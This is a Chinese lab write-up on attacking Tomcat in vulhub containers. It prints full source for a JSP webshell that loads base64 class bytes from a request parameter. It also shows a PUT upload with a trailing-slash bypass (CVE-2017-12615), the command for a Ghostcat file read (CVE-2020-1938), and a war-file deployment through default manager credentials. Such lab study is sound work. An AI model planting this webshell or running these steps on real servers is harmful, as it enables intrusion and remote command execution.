tomcat
一、jsp一句话木马
这个东西网上百度就有
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
将jsp一句话木马放到IDEA里面,并且运行
然后用蚁剑连接,可以看到成功使用jsp一句话木马获取webshell,哪怕对Java不熟悉都可以使用
二、CVE-2017-12615(PUT上传文件)
1. 环境搭建
在vulhub靶场使用docker搭建tomcat的CVE-2017-12615漏洞环境
2. PUT上传文件
使用burp抓包
将GET改为PUT,并且上传hello.txt文件,内容为helloworld
响应包为201,代表成功
在docker环境里面,进入容器,然后切换到webapps目录里面的ROOT目录
两次对比前后发现,多出了个hello.txt,并且内容就是我们上传的helloworld
说明PUT上传文件成功
3. PUT上传jsp一句话
既然上传txt文件成功了,我们想要获取webshell,当然要上传jsp一句话
先直接按照上传txt那样上传试试,看有什么问题
发现状态码为404,代表上传失败了
我们想一下,能上传txt文件,但是上传jsp文件就上传限制,可能是做了后缀限制
根据学习过的文件上传的绕过方法,windows的文件上传绕过,常用的是点空格点绕过,这里我测试了不行
linux的一般绕过,是在文件后面加个/,上传后,linux会自动吃掉/
再次测试,响应包状态码为201
成功上传jsp一句话木马
4. 获取webshell
上传了jsp一句话之后,自然就是测试用蚁剑是否能成功连接
结果自然是成功的
三、CVE-2020-1938(幽灵猫任意文件读取漏洞)
1. 环境搭建
2. 漏洞利用
这里要使用一个工具ghost cat,也就是幽灵猫工具
使用的是python脚本,使用的方法在截图里面有给出
根据示例,成功获取WEB-INF下面的web.xml内容
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.131 -p 8009 -f WEB-INF/web.xml
3. 漏洞验证
上面的利用只是按照示例,读取了示例中给出的文件
我们要来验证一下,是否可以进行任意文件读取,还是说只能读取那个文件
首先我们进入容器,在webapps的ROOT目录下创建一个hello.txt,内容为helloworld haha
然后我们用幽灵猫读取一下这个hello.txt文件
发现成功读取,证明的确是可以读取任意文件
四、tomcat8(弱口令+war包上传的任意命令执行漏洞)
1. 环境搭建
2. 漏洞利用
点击tomcat的Manager App
弹出一个身份认证,默认的账户密码都是tomcat
登录之后进入如下界面
往下拉,可以看到有一个上传war包的功能点
那么什么叫war包,这里我百度了一下
意思就是上传这个上传war包之后,tomcat服务器会自动运行war包下面的jsp代码
那么从哪里找到war包?
kali自带了一个cmd的war包,我们将它找到,并且复制到桌面上
并且查看下cmd.war里面的内容,很像webapps目录,并且存在cmd.jsp文件
cmd.jsp文件就是实现我们的命令执行的主要文件
在上传war包的功能那里,上传这个cmd.war
上传成功之后,上面会多出一个/cmd的目录
点开之后,是如下的404界面,是因为我们没有加jsp文件
在url后面加上cmd.jsp之后,成功进入如下界面
剩下就是测试一下功能,执行命令,成功验证漏洞
